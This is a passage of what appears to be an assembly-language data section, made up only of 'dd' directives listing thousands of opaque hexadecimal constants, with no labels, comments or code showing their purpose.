5D83A69h, 68216Ah dd 65A4F42h, 0A6BCAEB5h, 0BAC99800h, 92F02A36h, 0EF2900E1h dd 5BFF860Ah, 380012E9h, 8D8E9A95h, 0EF09CC8h, 0D2075347h dd 2354B381h, 1C6805Bh, 0D9E062Ah, 0AE8F248Eh, 0DB670E1Ah dd 0F16A1540h, 0B0FB0CCh, 8056AA9Dh, 24ABFE29h, 60060007h dd 88BD0DD6h, 0A700820Ah, 0FDF1C2D9h, 0D8FBD1h, 0DAC38B80h dd 0E868AB35h, 3067BD34h, 22060460h, 0AF10CF26h, 0E628CAh dd 5EF7890h, 0A00C5C9h, 6FF2BACh, 65515E6h, 0B3F5AFA0h dd 0DC222840h, 11AD42E0h, 0B43916BAh, 1084C0C4h, 212AF2EEh dd 0B55708BEh, 7584C490h, 3CF24AF7h, 0A125110Ch, 8C14A128h dd 8E762842h, 902B0814h, 0F32E840Ch, 3F804A48h, 0C3EA675Eh dd 0C9F600A3h, 0AEF75634h, 310F1FD5h, 0C01AAD06h, 3B1DCEB3h dd 0BB3A0091h, 226748A3h, 8B0023ECh, 429AC0D7h, 4C6044h dd 798BE01h, 0A0E53DD6h, 2A74A800h, 0C9B282BBh, 0BAA10059h dd 265EF9E9h, 7E00988Ah, 2A38AA9Eh, 11468C0h, 64373378h dd 0E8B17F0Eh, 0C4004619h, 364379CBh, 0F2E0C103h, 75E80037h dd 5746F34h, 0C00C5B1h, 393BC029h, 7EA18Fh, 4126EB8Ch dd 202AD2CFh, 52632B0Fh, 80AE0B67h, 0A33C3DE2h, 5573005Eh dd 0B97A365Ah, 8D0008A5h, 0E46B04C1h, 7875728h, 25EBDBD8h dd 18CE4043h, 7375F0D6h, 0FE97AE01h, 7E6329EEh, 1F20BE4h dd 0FD13882Fh, 206DEACDh, 81008A2Ch, 9A6A9B9Dh, 0F6E92A6h dd 19EEBE04h, 13C776E0h, 3F002D8Ah, 8D18FDEFh, 18F6659Ch dd 0C0BB8BA0h, 221A6815h, 4060958Ah, 11033F2h, 5EE17B04h dd 2407B411h, 0D9EE4B64h, 0E0B3EB00h, 6252FD2Bh, 0DCD3059Eh dd 8719F61Bh, 7A9D83C9h, 0C6491EC8h, 3C7DDF05h, 0D0300C6Ah dd 62D1A45Ch, 46F77010h, 0D57198C0h, 0E6A2FB02h, 807BBEEBh dd 0CD1969C8h, 85750030h, 0C8E52627h, 0C2F05E83h, 0DC58646Eh dd 2A97A500h, 7CE8B2EBh, 0E9221E39h, 5B95C0D5h, 0D0CF1162h dd 23667001h, 0A633B828h, 8781B13Eh, 2D45A240h, 16637B40h dd 0AEF60024h, 0BF4BD007h, 0C2EA9EB0h, 322F6F00h, 58BD9428h dd 36590085h, 0F82B3EF0h, 0AB7F1E93h, 5EC91A00h, 19DFA737h dd 0AFCF00CCh, 0DE687CB9h, 28079FEAh, 0E180F9ADh, 9DFFE2B0h dd 120D04D7h, 0C0627463h, 42E35B10h, 50FF394Ch, 0B500EA55h dd 269B27B3h, 60E3D6Fh, 0A1FF2905h, 0D63E48FBh, 0CCE680F9h dd 0D3BA9645h, 722B009Ah, 0CE36713Bh, 9B0F607Fh, 8E7E84D4h dd 404900BBh, 0FB77ECh, 3561B61Dh, 0B716A902h, 0E3FE204h dd 897B1A1h, 439BA03Fh, 9ACCD97h, 0AA0BC0F3h, 0FCA0600Eh dd 75D3A804h, 2694803h, 985DBA97h, 9B7718h, 0ECA0F0CDh dd 0D87BCA47h, 570C3403h, 2A63933h, 0FFDBBC40h, 28482D9Ah dd 0DE1CC6B1h, 0DF1224B7h, 8A70F000h, 728E2C02h, 858303EDh dd 0F248B6Ah, 0C99D2EC8h, 161CA812h, 806E1009h, 0EE04250Ah dd 0B3700C8h, 50AB97D8h, 22074B72h, 0FB2987E6h, 69C0E530h dd 1CAD00EFh, 53F63602h, 0BB00D40Bh, 6BFCD63Bh, 507A5B28h dd 38F8A5h, 64E22698h, 68092A3Eh, 0E849F600h, 0B83DC6F1h dd 7C6A0FB9h, 72604188h, 0B0298436h, 3E80EC00h, 0F7B89069h dd 99BF079Ah, 408B9152h, 231B0197h, 253CDD00h, 6FA09B70h dd 0D21D0016h, 1ABEB2D4h, 14B0F2E0h, 0FF233Bh, 0E9D7924Dh dd 1F1B6B48h, 0C0401114h, 6A5D195Ch, 0A407AE2Bh, 0C0CD92C4h dd 7772B311h, 3477EC8h, 0E5362DAFh, 94B80935h, 59008BDAh dd 9552CA7Ah, 7D55C0F5h, 9EF0076h, 9C08E4A7h, 0C4382887h dd 865307DDh, 0C8A53915h, 44650CC0h, 0AF3092Dh, 0C8056D38h dd 0A6A440F6h, 7E40DE23h, 1DE33C00h, 27362ABh, 541100DDh dd 7A832F49h, 21041867h, 0C3F886F0h, 925968D6h, 77F268h dd 46CD6FFDh, 0E195BD9Fh, 5316FBFAh, 9C40919Ch, 5877EF2Bh dd 0A614090Fh, 205905h, 79212464h, 86D61500h, 47732C2h dd 0E87B4DEAh, 0AD038207h, 82B9849Bh, 948EEE6Ch, 0E0A29AA7h dd 63539FC5h, 69E7E602h, 60926580h, 602D8F91h, 0C2AF786Fh dd 70988453h, 7D941403h, 838186h, 6646FB10h, 923888C5h dd 0B800557Eh, 0E79F3E84h, 12306A1Bh, 29D98C9h, 0A9804C78h dd 5A3D4840h, 201DFD09h, 54B0538h, 2EC31480h, 44D712EBh dd 0FA8D0036h, 259CE6E9h, 0A3AB8704h, 10D03F32h, 24602136h dd 915A43h, 6AFA824Fh, 70075E6h, 1D3D4283h, 9378485h, 8FBC5C87h dd 0FAB53480h, 0D307FFA6h, 0B0A445AAh, 0BB92F840h, 42FD007Eh dd 0B6A6219h, 0C900A15Fh, 0BE68C405h, 9CADABh, 0F266CA74h dd 0EFE62109h, 2875000h, 4F17EB9Dh, 63ECD5h, 74CBA5EEh dd 2642762Dh, 1843C58h, 4E66538Bh, 10803A83h, 0D9505B06h dd 0CB0E0745h, 0EB2686ABh, 6890A1C1h, 0DC483995h, 703FB831h dd 2BAA3EA0h, 0A4F612h, 0A5BC5A34h, 890EDF9h, 53121901h dd 0FAB34610h, 0B413A080h, 0A943A68Ch, 22003898h, 6A3E6DA1h dd 0C0B024h, 0DB8AB91Eh, 0AFA51934h, 21033090h, 0B0C3488Eh dd 0EC58B80Fh, 86BD03C1h, 46B664FCh, 8D59D0C0h, 0F400D7ECh dd 0A71452ABh, 0E434984h, 0BBBF709Fh, 280017ABh, 64A12553h dd 132F0A1Dh, 0AA3051C0h, 0F83F85h, 0F3DCAD33h, 429F70EEh dd 21E8D900h, 0E4C7A4BFh, 0C14B00F4h, 13DE9681h, 9A1C3F24h dd 4DC56452h, 3480CA66h, 2FFBC8h, 577DF60Ch, 0CB916DA4h dd 75323E00h, 0DB870779h, 967790h, 0F241DCF9h, 0FC81D966h dd 5BBF230Ch, 3D6309Fh, 0CEA860CAh, 3FC8B553h, 0C100353Ch dd 108A1AE2h, 1D3CD7Dh, 0A52A4A02h, 0E00F41B8h, 64769925h dd 0E6F22100h, 70E1DD77h, 36B10033h, 9AFB886h, 1E008F19h dd 431322A6h, 17A958h, 0ED6B2B54h, 8CF34E51h, 0FD2CD416h dd 0A89EE440h, 377B05Fh, 7284213Ah, 2BD0799Fh, 6010E2Ah dd 44E8A290h, 6420B157h, 7CE6053Ah, 90AFF6FFh, 3669A46Ch dd 126D3200h, 0C494584Dh, 0B21500BEh, 64779E07h, 0A7027459h dd 0EDF24F88h, 82736050h, 528A0523h, 80E6DA1Dh, 0FDB75698h dd 0A1038498h, 0AFF0C3FFh, 0C4A2F9F3h, 7572C20h, 6DE5E9A3h dd 7EEB3152h, 0E4047003h, 56008690h, 5585F32Bh, 8F79A2h dd 0DDBBF939h, 0C370B4D0h, 229EEB00h, 36194105h, 663A00DAh dd 65EDC92Dh, 0F34C8C4Fh, 1DBC0B44h, 5BC0840Fh, 137BE880h dd 0D68200DCh, 42BE4168h, 0CE2F0B5h, 0DBC02700h, 66588435h dd 0AA70ED33h, 0B0E80791h, 0C08BC88Fh, 6EE783F6h, 552C9EECh dd 4AB8B847h, 88F20820h, 0C5E41E4Ch, 6DCE073Dh, 0F0BFA6F8h dd 0EE762A00h, 0C5229958h, 0C195010Ch, 0A6C83A3h, 379CD8F8h dd 989648h, 0AE401AB5h, 6BF6F65h, 5CCA73A7h, 12E706Ch dd 0C88E38EFh, 0F200DEB1h, 9C4F11C9h, 19A0A021h, 42DA1239h dd 69680A7Ah, 643D0084h, 0A2FBDFEh, 7705D002h, 0E80ED952h dd 3B94710h, 41FA9039h, 66A2ED71h, 0E5BB2063h, 0DA1140EFh dd 0C20036ECh dd 192480B6h, 73E6CEh, 0FC2C060Fh, 3063F9DEh, 7E58F7FAh dd 876A00C4h, 0FD4835CAh, 0AC19006Bh, 0C0E4DC91h, 63003BBEh dd 57AE085Ch, 120C48EBh, 4A6CB1h, 3AFB9CA8h, 84A09D6Ah dd 0CE00E481h, 6DD2CCAAh, 39F62B17h, 2700BA0Dh, 3E681491h dd 0E100E5D3h, 0BBEEA70Eh, 0AB2025h, 0F66733B1h, 0AECAF3A2h dd 0BC0046F2h, 906FB6D9h, 0D8C981h, 879D9480h, 0E135E965h dd 1D98A200h, 0EE17F21Ch, 0C5060140h, 2DCA33F0h, 7513DC82h dd 0ACDAFD01h, 77FE8964h, 0E7DD6865h, 247DC848h, 37379Eh dd 79608F75h, 0E6E457AFh, 88221101h, 0FF6D72CFh, 69F4806Ah dd 0EA01BDC2h, 8CCA1078h, 0D8800C54h, 0E71D53Bh, 31024614h dd 6ECC1A90h, 984CE12Bh, 340ADCCh, 78F022A7h, 0F2D09921h dd 270E8CFFh, 0F1FD57h, 8D81CA1Fh, 77610E1Ch, 0B70039FEh dd 0E12D3389h, 9A140300h, 0D4E62FCEh, 52D818ADh, 4D2A2015h dd 50716C00h, 963084F2h, 385570ACh, 83B1BBD1h, 0CC16289Eh dd 9D002249h, 0BE5A84A8h, 60121E72h, 857DF255h, 9400B22Ch dd 0D1C3341Ah, 1CEE4A92h, 0C0CB4517h, 31D8F41h, 0EF00C4DFh dd 4C601196h, 7E1FEDh, 2D9A7B88h, 0B7318D0Eh, 0AFC63F01h dd 252A6790h, 4DE893D5h, 550B07D0h, 99BE476Ah, 0D7023B7Ch dd 6C7D5EC7h, 8EA1001Ch, 70419635h, 4B0058ECh, 11AEF61Ch dd 0B8D81502h, 0E97800B7h, 8D69F9E8h, 53B05CA9h, 204CB400h dd 9862BCF3h, 0B3BB00D9h, 0EC19A601h, 9A00C366h, 0B5C6E035h dd 0C3FA8h, 7A5C59A0h, 266555D3h, 702D6302h, 0C883E73Ch dd 1F4838C4h, 0C99B1E6Dh, 7C18AA78h, 201C35A0h, 138195BFh dd 90DE8B8Dh, 8EC4AFE5h, 22120460h, 80A8CC7Ah, 6FD4E888h dd 0F48A9824h, 51003012h, 776C4481h, 13700372h, 0A6E2A1ECh dd 0D66570DFh, 0D400BB0Bh, 958D6450h, 13F9C534h, 2E962Dh dd 29A80354h, 8407690Ah, 3938A93Fh, 26EA7040h, 0E1F73CD8h dd 345F2Eh, 9B46A8C7h, 4302A369h, 0F9B272EBh, 4FD4405Dh dd 0F4EC0CF1h, 0C3D9561Fh, 0D6196800h, 0A8598217h, 0B0180039h dd 8B83E5Fh, 79008D3Ch, 76CC8E38h, 76FD94F7h, 693F00A4h dd 46634AE4h, 81004CAAh, 3D1260Ch, 39233313h, 0AF0079DDh dd 3EA3175Bh, 7D1C0840h, 78895F41h, 47DCC0E3h, 45773EECh dd 0A5A71E80h, 0BE3C3D71h, 5A48CE1Ch, 0D0505647h, 620880B9h dd 0F23460h, 84E9C33Bh, 12CE3A08h, 5B14AC07h, 46306ABDh dd 2D9F0F5h, 263D21FFh, 0FC687804h, 7238A23Bh, 0A6E90208h dd 79FC3339h, 83FB0804h, 0B223853Bh, 84809B78h, 20B337Eh dd 35ABD8B9h, 0B061D002h, 706FECD6h, 8021BD3Eh, 49BEB839h dd 2CE5C164h, 6B6C56h, 0D49F908Eh, 3C4804E6h, 21380030h dd 0B7131767h, 8B4F4840h, 0D2B96600h, 23D98A25h, 0E2CA7A00h dd 0C0724E3h, 95E50011h, 0ACBF4EA0h, 0C9F299DEh, 2E36CB00h dd 610901DFh, 5878B863h, 574C5C95h, 715C4Ch, 0CB8B38CAh dd 81062D32h, 2109D00h, 74E180F5h, 567E07E6h, 0B925413Ch dd 88756300h, 12007377h, 8C6A32A0h, 26738AFh, 0EA3A8B24h dd 0CDC0F915h, 702DE1Ch, 0BEC7FB64h, 3A6FE0DFh, 998100C4h dd 199ECCD8h, 24003268h, 5E822892h, 140BA47Ch, 9CBBE158h dd 0D15B1F00h, 0E5BC1652h, 0D70507FCh, 371EDC0h, 7A34A0h dd 0D220124Fh, 0DBCCD046h, 837D5F00h, 9B449A71h, 70526F29h dd 0C6207720h, 9CA05637h, 605A5EB6h, 0D3479002h, 0FB90C03Ah dd 0EA173ACFh, 400091C0h, 4F62B769h, 7B938CD8h, 0E9CF00A6h dd 5F45A5BEh, 4C131B7Ch, 0CC01AA4Eh, 2B0EE854h, 5DC4D7F1h dd 8CB804E5h, 0C01CC9FDh, 89901416h, 6C1690B0h, 0C903E78h dd 767CDA9h, 7A7D70A4h, 82D850F4h, 4B24625Ch, 86036089h dd 989A7F98h, 1E757CF1h, 0FC364Ch, 4B997E85h, 0F00C7DEBh dd 0CE249E43h, 0A0F0EEh, 8DFED592h, 7C34B41Ah, 9FC7E20Fh dd 7E3AE1BBh, 603498B1h, 0AEEC29h, 804DEF77h, 6FBA99FDh dd 0B20F8D03h, 0D8259382h, 7F42128Bh, 95F70939h, 6C8F86D0h dd 0B7D879A0h, 8F05A761h, 6B4EC1F0h, 59ABFC00h, 2F9A16h dd 0B95C83CCh, 0F5F4BFFFh, 1131FE00h, 90512CFh, 683B013Dh dd 0A0797791h, 0F4A8D9CBh, 0B000D0CEh, 472BC03Ch, 0C120E0h dd 0C4537AADh, 2642A11Ch, 1EFFEA1Eh, 0D06E80DEh, 40F0EE0Fh dd 53221ABh, 60BE1F52h, 96D0C04Ah, 0A43F23DBh, 70906779h dd 7043A5Ch, 0F07882AAh, 0CF344FA0h, 6E33006Ah, 0F74D1371h dd 4E585B2Fh, 0F9E31434h, 48790094h, 37CAAF91h, 9BA41E04h dd 52A7814Eh, 387DAD83h, 0A6610028h, 2C18C982h, 230600EFh dd 756EBFB7h, 400A03Dh, 0FB246115h, 5C782C1Eh, 0F403E002h dd 36DC26B4h, 56D66800h, 7B98D8Fh, 619F2697h, 5E76403Ch dd 4E1E8A77h, 0F0C0EE0Eh, 27898811h, 2B8B004h, 0BF981DB7h dd 32E03249h, 75485147h, 8DFA0078h, 7B64A618h, 0ED04071Eh dd 0FF73F007h, 9C945880h, 0E6006350h, 1C1B6A28h, 46FD0B0h dd 4EC05A4Ch, 9618F47Ch, 0EE2A7D00h, 74880187h, 0BFC0C152h dd 201DD41Ah, 9B98544Ch, 0C9090379h, 807797A9h, 0B2A63342h dd 0AAB00050h, 0FFD14174h, 772FC75h, 0E43A4D24h, 98C9060Ch dd 5FD91D97h, 27B800A2h, 14C4BD83h, 0A0528D00h, 90AA671Eh dd 133B00D9h, 948406E8h, 9F00CEB5h, 5E65E776h, 9814B74h dd 0AB70F3D7h, 6AAEAC40h, 41EC5800h, 0DFF20750h, 0CF8C0038h dd 196C466h, 9F0013C0h, 0D2F9DB1Ah, 40B75FAh, 0BC6857CDh dd 0A2E6C043h, 7C178199h, 0DD00665Eh, 36718D03h, 3CEC1E82h dd 0B8026796h, 78788880h, 6610DB0Bh, 1DD48018h, 1176B71h dd 2396CB29h, 0CC2CD457h, 0A2000A4Bh, 6EE8E04Ah, 1293261Bh dd 0B012DFh, 0CDBE4251h, 27130ED9h, 3C04E537h, 7E809276h dd 1211CBD2h, 7D5E662h, 0BFA6F7E4h, 0E4B1AE0h, 14BE8CA1h dd 3ACA678Ch, 6BDB00A2h, 7FA4D576h, 0EB1F2362h, 0D4CB6F21h dd 0E840039Ch, 0A88CB832h, 660600E7h, 0E5D6D13Ch, 340057ADh dd 5ABBD5CBh, 0F2840552h, 26F91D70h, 0F45500BAh, 0AD71B961h dd 0AEB2DC00h, 75B83097h, 0BF2100E5h, 5E3CEAF6h, 0ED01AD9Ch dd 13AEC139h, 84CC10A3h, 0F2E33D54h, 73A18002h, 0C4E0DBEFh dd 0C89885D0h, 0F3AFC800h, 0AD3ADD28h, 3F2A0218h, 889C7C52h dd 0D670E068h, 0E7B9FC1Eh, 7BEFCF87h, 0C9807404h, 1697Eh dd 0B6E63C75h, 306368DAh, 0D3002CBEh, 0CF33ECF5h, 2686284Fh dd 488892ECh, 0B000B86Dh, 3F4D9EB6h, 14010365h, 0C87A47B1h dd 0F440A592h, 0F3E907EEh, 8318C03Ch, 268FC01Eh, 4DCC6238h dd 0F54C2CDCh, 8C41A51Eh, 4333285Ah, 454AA12Bh, 0F403EB9Ch dd 0AAFFAFh, 15C65410h, 0F559585Dh, 0A1138614h, 0F6110B9Ch dd 654CA53Bh, 0DA0028F3h, 2D21DC50h, 0FA00DFC8h, 190FD1AAh dd 1AEF1CAh, 69717DBAh, 81318022h, 3EB5DCA8h, 0BED4D078h dd 1BAD0039h, 18E410A5h, 2760196Eh, 0B22C7AF0h, 4DD30045h dd 0EA152D48h, 4F00B4BAh, 316BDF5Fh, 0A37A36Ah, 1D2F270Ch dd 349400B0h, 83A7DA6Eh, 0B449E000h, 0D61944AFh, 8E70012Dh dd 244E9486h, 0B1BE874h, 0A43C4605h, 0CC00644Dh, 0BDE9333Bh dd 0F0B300B9h, 8C3ACAFEh, 860080EBh, 0A0F365A2h, 2FE2E4h dd 0CF66D8ECh, 37D4D2F7h, 0F4678916h, 0F3274C80h, 1E593E1Ch dd 72ECED85h, 7B14D20Fh, 3792C0E8h, 3898BA04h, 0A0F0D85Eh dd 14BA46h, 2B8193EBh dd 90FBD189h, 0FDEE909h, 8EA08122h, 4787856h, 0A3B77000h dd 0B59801A9h, 3EFAE11Eh, 614FC3C0h, 0FD09AF03h, 0C0F5D887h dd 0A8730E0h, 57770EF7h, 0A1F3F100h, 35548839h, 26B1907Dh dd 24E3292h, 17CC6C77h, 0C363246Ah, 51D8ADC0h, 0AEE4F270h dd 0B59C900h, 0D60C612Ch, 9811C0Eh, 1C87EF8Bh, 2029FBF6h dd 70078489h, 1C509293h, 0E7FA14FAh, 0F987AD05h, 30C010DAh dd 92D941ACh, 8E520B08h, 0E440AE9Ah, 4E1275E4h, 1C030E77h dd 8765F121h, 0A1FB8D90h, 0DAD4A0AFh, 22320097h, 0C4BB707h dd 9E003831h, 84CD5371h, 17C3B0h, 0CB8A0477h, 0E9B9B461h dd 4740B30Bh, 7208036h, 580217h, 4F0AA8FDh, 8DBF9B9h, 0B003B74h dd 3DE1D2EEh, 0EA2CCDh, 1E2BF817h, 0A07FF172h, 26A2E812h dd 0CB93000h, 1E578EBCh, 807112D5h, 6E089C75h, 390059A6h dd 858FB323h, 50663Dh, 0AEC60F93h, 0C72A6F7Eh, 2E90E404h dd 28804079h, 5469D301h, 0BE5FA43Bh, 25788124h, 0C0974A64h dd 0C100B1ADh, 39793528h, 60D3B7h, 8C900691h, 433D049Ah dd 35F3300h, 4114EB5Bh, 9B5D025Ah, 4DC58661h, 1E762840h dd 47A044h, 98266F7Bh, 0D52485A7h, 3526F898h, 4800701Ah dd 95091E43h, 0B17D0033h, 0F43D19EBh, 3500A20Dh, 2CB3257Ah dd 4CF5CD04h, 7602C036h, 80BD02FCh, 772B3040h, 0E01A8300h dd 0E5AE1B18h, 0E264B081h, 0C94F0714h, 6004BF23h, 38DC1260h dd 0D5A13D04h, 0ACDD1551h, 781F7AFCh, 30330286h, 4D3F84D9h dd 2ABD10C0h, 61C6BF07h, 8350A3E6h, 7D0B367h, 0F1309FC5h dd 688FC173h, 0D02834h, 649AB070h, 0E2259Ch, 300C6BADh dd 1F2F4B44h, 0F2AB9F00h, 0A3EE0AE4h, 0B1FD0370h, 0A5F8BB15h dd 55C4DFD0h, 74BEF5EEh, 420EE403h, 0DD10804Fh, 24020046h dd 89E9DF11h, 3F0926EEh, 506335Eh, 5895D749h, 11CFE480h dd 0D6AF0BE3h, 52838A2Ch, 0EDD84E28h, 0BF00B165h, 0C329680Bh dd 3048BE09h, 2071B934h, 6000D251h, 0F06B93FCh, 0F8D7B30Bh dd 32631D26h, 0D30F09DDh, 0E6D61841h, 8B3C1C80h, 753DA133h dd 55C38043h, 1F211C09h, 538816BEh, 519100B9h, 8B48E58Fh dd 7011D500h, 44EF4185h, 4B91384Fh, 0A1BFE380h, 83A07148h dd 0F828B800h, 0A84462A6h, 69570024h, 21B35492h, 0A003109h dd 0D24B2019h, 38DE3FC4h, 9693C76Ah, 882400B8h, 0B5FB770Dh dd 0F5E54800h, 0C88669CBh, 0B38C034h, 798E9032h, 0ECBDE1C0h dd 7D3CF930h, 0A3A1315Bh, 802FBCC8h, 797B4660h, 1DA4686Eh dd 80DF287Ah, 308E2EE1h, 0F47B7060h, 6F00F6E0h, 6AACE5C2h dd 24D193h, 679D2E7Fh, 1774DF56h, 9EAF8D13h, 0D8D27401h dd 0D7EC1B25h, 0E37500DCh, 45F67D3Ah, 5C00BD82h, 0B316A740h dd 0DDBFF4h, 1E42233h, 0B2ADD35Dh, 0EC002A7Eh, 6928D2CFh dd 0EC1FA934h, 54810027h, 0B6AFC44Eh, 8E014AB1h, 0CCC31276h dd 0A3D8FEBEh, 6A550014h, 0D93405B0h, 1300D047h, 194B7473h dd 7CBCBAC5h, 0FAC6903Ch, 2C0F3FFAh, 0DE2B0B00h, 0B8212204h dd 0BD903Dh, 9DB05BEh, 252310ABh, 44074E46h, 0EDE96F8Ch dd 4E878D1h, 9C085278h, 615D0E4Ch, 0E5556305h, 515C40D4h dd 8300CAC5h, 0E0271B3Eh, 9AF50AEAh, 3A131770h, 0B9AC4037h dd 0D92964A2h, 974F0D05h, 58C590C8h, 0C4704080h, 30125C8Ah dd 2E5C0CC2h, 4C9AFCF0h, 99F8560Eh, 875083AAh, 501882E5h dd 0CE930078h, 0BBFA3C9Fh, 0F4F9944Fh, 6000C521h, 234785C6h dd 2D03BFEh, 0C4241767h, 0F4E82DBAh, 0BD3CA2F7h, 68B0026Bh dd 0E0CD112Eh, 46D4DCh, 34E8049Fh, 9A7B257Ch, 48A00709h dd 97D840DDh, 5A230C0Fh, 24A11FF9h, 37645D00h, 0DC6CF0E6h dd 126EF6C8h, 1085B82h, 8A5AD645h, 50C7C938h, 0A1EC19B0h dd 88A9C901h, 37F6455Eh, 0A260E5CDh, 3F2A0561h, 85CA8CC5h dd 946CF084h, 0EE373Ch, 2E203D35h, 26C7E3h, 0C021B138h dd 6AC877A2h, 0E0F5DCABh, 0A300B2B0h, 982D6247h, 729CB52Bh dd 32E3C45h, 0A84E3100h, 0CCF12517h, 73021A3Ah, 50685B00h dd 0CF1ED0ABh, 0B4A05466h, 0D8A63D1Bh, 43770780h, 18F57661h dd 0CE0AF400h, 0E85F6F81h, 0AFDF0A31h, 0A70C22h, 0E3C0B3F0h dd 5894D625h, 44655700h, 0CA6337h, 940E4FB6h, 0F2E67A7Bh dd 473EBC01h, 0F8C1061h, 6B17E462h, 269900DCh, 6FEA71D5h dd 7ED42800h, 70EC8572h, 0FC7512E6h, 0A714F0ADh, 0DAA8EE01h dd 3E23FBF4h, 50486FC0h, 0B23AB80Eh, 0DBD3007Ch, 7ACD634h dd 0DE07A19Eh, 26AE8EE1h, 0BEC8FBF0h, 0F789003Dh, 7E14AA74h dd 0F501CF11h, 0D52EE01h, 5C3C2A90h, 0B8F9FC44h, 6B250599h dd 28043AFh, 64EDF29Dh, 8E7091E1h, 8269BBF9h, 8F31BFC5h dd 0D7A4E4D4h, 40942F0Ah, 0CA342C86h, 8800D6E6h, 0C3747159h dd 0D023BBh, 0BE7A64DEh, 314A8122h, 3C96751Eh, 13D5E200h dd 1E8AA337h, 0FF0674h, 0B2033D0h, 2034944h, 2694C7F6h dd 0CAF1D81Eh, 0FCF4CCh, 8BA5D8D3h, 0A992C2B5h, 9045FA2Ch dd 0B997C002h, 25E8C008h, 26CA39C1h, 0E64AFB82h, 0C680B51h dd 1E002792h, 25EB09D3h, 43650Eh, 0CEE7023Fh, 71449D15h dd 6CD6811Dh, 0E0B0EE04h, 0C9672C90h, 401E1E87h, 2D8D0055h dd 0EDB33E21h, 0A64F5300h, 0DD33E622h, 176300EBh, 0C7E9CAF3h dd 0C0009FB8h, 877892CBh, 0E690F13h, 0AFEC166h, 33C2E542h dd 651DE471h, 0E0229A4Eh, 0B3839763h, 88A5006Dh, 0C3983815h dd 66135530h, 55005BCBh, 0B637A144h, 31D50C47h, 1038686Ch dd 1F8F2000h, 4D9F1C4Ch, 931B12D4h, 3F94F34Ah, 0E9AB83F3h dd 0C8AF0C54h, 0EA8FD6h, 0DF2F5764h, 0A5A911B8h, 3D2218C0h dd 3CCD6E0Fh, 0B700F583h, 0CF43353Ch, 0BC07960Ah, 6C26867Ah dd 5F0CA209h, 0BC788Eh, 46CE77EAh, 5917B684h, 0B32E2A79h dd 0E300B0B1h, 357DC2Fh, 0E6210012h, 8C5BD898h, 6BF4DD8Bh dd 2817AB00h, 4919BBF2h, 6FC5035Eh, 7CCACEF4h, 0A9E6EED0h dd 0F02BE300h, 3BF21B6Ah, 0EBB9023Eh, 6B700D49h, 6438CC60h dd 0BB885D0Eh, 0BD9DE09Ah, 3CE434Bh, 0BFA6FAFBh, 0F8E0143Dh dd 0D40095C7h, 4F603AD3h, 4EF4512h, 88115EFDh, 0BF7491A3h dd 5044D457h, 4D001190h, 0D4C4E53Fh, 60536820h, 0AED1107Fh dd 143D873Bh, 4C0E0050h, 0AB3DC822h, 3E63719Bh, 8E805B26h dd 8359FB92h, 8700C504h, 49C217F3h, 1FDE4364h, 57A5D982h dd 4F3400A4h, 8BB4653Ch, 14486EF4h, 9EE1D6Ch, 62C87B02h dd 0D26840A0h, 103B180Dh, 76CB2013h, 0FD1AF700h, 0C3FB669h dd 36202EEEh, 7826002Ah, 0AAB8932Bh, 0DF0B409Ch, 42162080h dd 26356520h, 46140C1h, 0BB2C4CA0h, 0E3365780h, 830D4BD4h dd 35DB3284h, 22896FE0h, 8417B728h, 7BE2FA3Ah, 4F00FB90h dd 0C69F441Eh, 55DFBD2h, 35632841h, 7CAEC18Fh, 0E0D040BAh dd 27072BE9h, 94C2645Bh, 0E712FB50h, 0D720009Bh, 9304D8Ch dd 414EF2A9h, 2EAF4880h, 0A4BA00E5h, 1805639Fh, 0E8B05224h dd 97A23C0Bh, 0B48F8031h, 6C3D34h, 0DCA619C4h, 3B3E8D63h dd 5BA0600h, 595DA1E1h, 88724BD1h, 0BB00D748h, 4D063249h dd 72AEAFEh, 572B60FDh, 427F1080h, 3CB652CAh, 10093A12h dd 8AA4E8D6h, 0CBDF0389h, 1A8EFB50h, 0E87FD0A9h, 350079B5h dd 0A3A46352h, 0FDDC85h, 9AB07C44h, 47EE270Dh, 69B2BE00h dd 3895D3ABh, 625A0072h, 163FF44Eh, 510040A3h, 0AFB17C06h dd 8C4BA4h dd 796D8589h, 1B305BC4h, 0BC058A00h, 0F0757E10h, 2C3607FEh dd 439065D5h, 0A0D583D7h, 9C586774h, 12A805A9h, 508CB924h dd 28DDDFh, 3D2DE6D2h, 950093E9h, 6C5C2056h, 1F0558EBh dd 83FBE71Ch, 0F0B0F545h, 731F8DE8h, 40FC48h, 0FF6848E6h dd 622C3A54h, 715571D2h, 192AC660h, 94D4811Dh, 91FF18B0h dd 6026F058h, 59E11128h, 4E008AA5h, 8EBCF716h, 75EBD2h dd 31E91470h, 7B503A68h, 48FEA9EAh, 0CD404D03h, 0B82EEA23h dd 0EC2B83Bh, 8056F0B5h, 0EF50FECCh, 2842924Bh, 488F97C3h dd 68C6AE4h, 0C6974DEh, 6705B8EBh, 97EA1DE6h, 7DC6181Fh dd 30A8F2B3h, 0BB08FEA0h, 3A2A5AF0h, 37407026h, 0F65380BAh dd 0A53138h, 0D8D75812h, 0C74A80h, 64BA15D3h, 0BBFC6683h dd 68936C00h, 0E32C651Dh, 8D8B008Eh, 87335C09h, 300022ADh dd 6DE7FB19h, 0B9F9F0h, 0CD89D444h, 2812728Eh, 82F6CF1Dh dd 879839C1h, 96D43CFBh, 5E7338F4h, 0BB977480h, 942243AAh dd 0C9871B00h, 0B0AF7B8Ah, 0ED083AA8h, 0D7A7E01h, 0E48E5B33h dd 0CB2C7060h, 0F41553BCh, 842D1C80h, 28E56984h, 0EF8E0C81h dd 0FA3DFh, 2C0BA021h, 34BA7F3Ah, 59B7530Bh, 71668078h dd 1509DED2h, 94222FBBh, 0AD35E507h, 82E87712h, 0C960EE99h dd 763D87DBh, 45E10184h, 1E9FF5A7h, 5CB86180h, 0F2CA385h dd 91B9E00h, 2382CB64h, 2DF0308h, 8B33805Eh, 780445F3h dd 26D63A20h, 0F8746B00h, 3C06EABDh, 0D32B3FEFh, 0D75E2020h dd 0D19E0C94h, 6C188E24h, 39694711h, 4A018433h, 12EAB91Ah dd 8F65D119h, 0C001C821h, 68992543h, 518A6896h, 8B215C24h dd 5B9880D7h, 23B7E30Ah, 38CF0E1Ch, 0B80AA31Fh, 0DC88C863h dd 2388679Eh, 68A2E50Dh, 3FB40016h, 0C637F829h, 0BCA9242Fh dd 0AD8EE8F7h, 8C006CF4h, 2A21D213h, 3B4085Ch, 7F98DB5Ah dd 99039F18h, 0E3D3ECC2h, 0D0F58B21h, 10F4511h, 0E6280E80h dd 308EEA79h, 0D20150B2h, 549582BCh, 62F7ED4Fh, 46FBC0B1h dd 64ECC883h, 753242F8h, 300C5FAh, 0D62BB266h, 1050761h 